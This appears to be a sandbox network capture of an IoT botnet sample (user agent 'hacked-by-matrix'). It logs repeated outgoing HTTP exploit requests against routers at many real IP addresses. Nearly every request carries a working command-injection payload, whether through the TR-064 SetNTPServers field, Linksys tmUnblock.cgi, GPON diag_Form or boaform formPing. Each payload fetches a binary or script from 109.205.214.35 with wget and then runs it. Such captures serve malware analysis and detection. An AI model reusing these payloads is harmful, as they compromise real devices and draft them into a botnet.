Mar 21, 2024 05:18:34.841954947 CET	1286	IN	HTTP/1.1 400 Bad Request Connection: close Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deig
Mar 21, 2024 05:18:34.841993093 CET	193	IN	Data Raw: 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 Data Ascii: ns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.23	42806	183.125.9.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.126605034 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:36.031405926 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:36.326329947 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:18:36 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.23	43196	172.65.189.165	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.149231911 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.23	48512	38.141.255.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.971620083 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:36.723794937 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:37.589598894 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.23	49506	210.58.213.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.285245895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.23	57216	37.32.59.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.285276890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.23	52384	2.121.195.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.285305977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.23	44918	212.10.88.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.285348892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.23	34132	212.133.216.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.285388947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.23	58582	94.12.112.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.285422087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.23	45818	62.34.72.90	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.503449917 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:37.011723995 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:38.035593987 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.23	35140	23.50.66.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.561235905 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:36.650120974 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:18:36 GMT Date: Thu, 21 Mar 2024 04:18:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 63 37 38 63 65 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 31 36 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.4c78ce17.1710994716.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.23	33288	38.15.54.103	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.119859934 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.23	48522	38.141.255.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.124774933 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.23	48526	38.141.255.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.133223057 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.23	43260	125.147.225.179	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.141396999 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.23	46042	104.78.250.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.190097094 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
